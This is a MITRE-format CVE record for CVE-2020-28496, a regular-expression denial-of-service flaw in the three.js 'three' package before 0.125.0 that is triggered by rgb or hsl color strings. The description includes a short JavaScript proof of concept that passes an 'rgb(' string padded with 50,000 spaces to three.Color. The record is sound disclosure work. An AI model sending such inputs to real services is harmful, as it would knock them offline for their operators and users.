{
    "data_type": "CVE",
    "data_format": "MITRE",
    "data_version": "4.0",
    "CVE_data_meta": {
        "ASSIGNER": "report@snyk.io",
        "DATE_PUBLIC": "2021-02-18T14:18:29.728676Z",
        "ID": "CVE-2020-28496",
        "STATE": "PUBLIC",
        "TITLE": "Regular Expression Denial of Service (ReDoS)"
    },
    "affects": {
        "vendor": {
            "vendor_data": [
                {
                    "product": {
                        "product_data": [
                            {
                                "product_name": "three",
                                "version": {
                                    "version_data": [
                                        {
                                            "version_affected": "<",
                                            "version_value": "0.125.0"
                                        }
                                    ]
                                }
                            }
                        ]
                    },
                    "vendor_name": "n/a"
                }
            ]
        }
    },
    "problemtype": {
        "problemtype_data": [
            {
                "description": [
                    {
                        "lang": "eng",
                        "value": "Regular Expression Denial of Service (ReDoS)"
                    }
                ]
            }
        ]
    },
    "references": {
        "reference_data": [
            {
                "refsource": "MISC",
                "url": "https://snyk.io/vuln/SNYK-JS-THREE-1064931",
                "name": "https://snyk.io/vuln/SNYK-JS-THREE-1064931"
            },
            {
                "refsource": "MISC",
                "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972",
                "name": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972"
            },
            {
                "refsource": "MISC",
                "url": "https://github.com/mrdoob/three.js/issues/21132",
                "name": "https://github.com/mrdoob/three.js/issues/21132"
            },
            {
                "refsource": "MISC",
                "url": "https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e",
                "name": "https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e"
            }
        ]
    },
    "description": {
        "description_data": [
            {
                "lang": "eng",
                "value": "This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = \"rgb(\" for (var i = 0; i < n; i++) { ret += \" \" } return ret + \"\"; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+\" ms\")"
            }
        ]
    },
    "impact": {
        "cvss": {
            "version": "3.1",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "availabilityImpact": "HIGH"
        }
    },
    "credit": [
        {
            "lang": "eng",
            "value": "Yeting Li"
        },
        {
            "lang": "eng",
            "value": "Liyuan Chen"
        }
    ]
}